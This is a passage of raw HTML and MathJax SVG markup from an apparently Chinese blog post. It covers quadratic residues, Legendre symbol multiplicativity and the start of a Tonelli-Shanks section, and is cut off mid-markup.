393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(1921,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(2587.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(3643.6,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></svg></mjx-container> 有且只有 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex;" xmlns="http://www.w3.org/2000/svg" width="1.197ex" height="1.02ex" role="img" focusable="false" viewBox="0 -441 529 451"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g></g></g></svg></mjx-container> 是二次剩余</li><li><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="11.135ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4921.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(389,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(918,0)"><g data-mml-node="mo"><path data-c="2F" d="M423 750Q432 750 438 744T444 730Q444 725 271 248T92 -240Q85 -250 75 -250Q68 -250 62 -245T56 -231Q56 -221 230 257T407 740Q411 750 423 750Z"></path></g></g><g data-mml-node="mi" transform="translate(1418,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(1921,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(2587.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mo" transform="translate(3643.6,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(4421.6,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></svg></mjx-container> 有且只有 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex;" xmlns="http://www.w3.org/2000/svg" width="1.197ex" height="1.02ex" role="img" focusable="false" viewBox="0 -441 529 451"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g></g></g></svg></mjx-container> 是二次非剩余<br>且由于 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="19.44ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 8592.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(389,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mi" transform="translate(918,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(1347,0)"><g data-mml-node="mo"><path data-c="2F" d="M423 750Q432 750 438 744T444 730Q444 725 271 248T92 -240Q85 -250 75 -250Q68 -250 62 -245T56 -231Q56 -221 230 257T407 740Q411 750 423 750Z"></path></g></g><g data-mml-node="mi" transform="translate(1847,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(2350,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(3016.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mo" transform="translate(4072.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(4461.6,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(4990.6,0)"><g data-mml-node="mo"><path data-c="2F" d="M423 750Q432 750 438 744T444 730Q444 725 271 248T92 -240Q85 -250 75 -250Q68 -250 62 -245T56 -231Q56 -221 230 257T407 740Q411 750 423 750Z"></path></g></g><g data-mml-node="mi" transform="translate(5490.6,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(5993.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(6382.6,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(6771.6,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(7200.6,0)"><g data-mml-node="mo"><path data-c="2F" d="M423 750Q432 750 438 744T444 730Q444 725 271 248T92 -240Q85 -250 75 -250Q68 -250 62 -245T56 -231Q56 -221 230 257T407 740Q411 750 423 750Z"></path></g></g><g data-mml-node="mi" transform="translate(7700.6,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(8203.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container>，可推导出二次剩余的下列性质</li><li>两个二次剩余的积依旧为二次剩余 - <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.186ex;" xmlns="http://www.w3.org/2000/svg" width="9.176ex" height="1.692ex" role="img" focusable="false" viewBox="0 -666 4056 748"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(722.2,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mn" transform="translate(1722.4,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(2500.2,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(3556,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></svg></mjx-container></li><li>两个二次非剩余的积依旧为二次非剩余 - <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.186ex;" xmlns="http://www.w3.org/2000/svg" width="12.697ex" height="1.692ex" role="img" focusable="false" viewBox="0 -666 5612 748"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(778,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(1500.2,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mo" transform="translate(2500.4,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(3278.4,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(4056.2,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(5112,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></svg></mjx-container></li><li>二次剩余与二次非剩余的积为二次非剩余 - <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.186ex;" xmlns="http://www.w3.org/2000/svg" width="12.697ex" height="1.692ex" role="img" focusable="false" viewBox="0 -666 5612 748"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(722.2,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mo" transform="translate(1722.4,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(2500.4,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(3278.2,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mo" transform="translate(4334,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(5112,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></svg></mjx-container></li></ul><h2 id="计算二次根-Tonelli-Shanks-算法"><a href="#计算二次根-Tonelli-Shanks-算法" class="headerlink" title="计算二次根 - Tonelli-Shanks 算法"></a>计算二次根 - Tonelli-Shanks 算法</h2><p>大于 2 的质数 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="1.138ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 503 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container> 可被分为两类 - <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="13.71ex" height="2.009ex" role="img" focusable="false" viewBox="0 -694 6059.9 888"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mspace" transform="translate(503,0)"></g><g data-mml-node="mi" transform="translate(1336.7,0)"><path data-c="6D" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 122T103 161T103 203Q103 234 103 269T102 328V351Q99 370 88 376T43 385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q351 442 364 440T387 434T406 426T421 417T432 406T441 395T448 384T452 374T455 366L457 361L460 365Q463 369 466 373T475 384T488 397T503 410T523 422T546 432T572 439T603 442Q729 442 740 329Q741 322 741 190V104Q741 66 743 59T754 49Q775 46 803 46H819V0H811L788 1Q764 2 737 2T699 3Q596 3 587 0H579V46H595Q656 46 656 62Q657 64 657 200Q656 335 655 343Q649 371 635 385T611 402T585 404Q540 404 506 370Q479 343 472 315T464 232V168V108Q464 78 465 68T468 55T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path data-c="6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 139 338T126 246V226Q126 130 145 91Q177 30 250 30Z" transform="translate(833,0)"></path><path data-c="64" d="M376 495Q376 511 376 535T377 568Q377 613 367 624T316 637H298V660Q298 683 300 683L310 684Q320 685 339 686T376 688Q393 689 413 690T443 693T454 694H457V390Q457 84 458 81Q461 61 472 55T517 46H535V0Q533 0 459 -5T380 -11H373V44L365 37Q307 -11 235 -11Q158 -11 96 50T34 215Q34 315 97 378T244 442Q319 442 376 393V495ZM373 342Q328 405 260 405Q211 405 173 369Q146 341 139 305T131 211Q131 155 138 120T173 59Q203 26 251 26Q322 26 373 103V342Z" transform="translate(1333,0)"></path></g><g data-mml-node="mstyle" transform="translate(3225.7,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mstyle" transform="translate(3392.7,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mn" transform="translate(3726.3,0)"><path data-c="34" d="M462 0Q444 3 333 3Q217 3 199 0H190V46H221Q241 46 248 46T265 48T279 53T286 61Q287 63 287 115V165H28V211L179 442Q332 674 334 675Q336 677 355 677H373L379 671V211H471V165H379V114Q379 73 379 66T385 54Q393 47 442 46H471V0H462ZM293 211V545L74 212L183 211H293Z"></path></g><g data-mml-node="mo" transform="translate(4504.1,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(5559.9,0)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 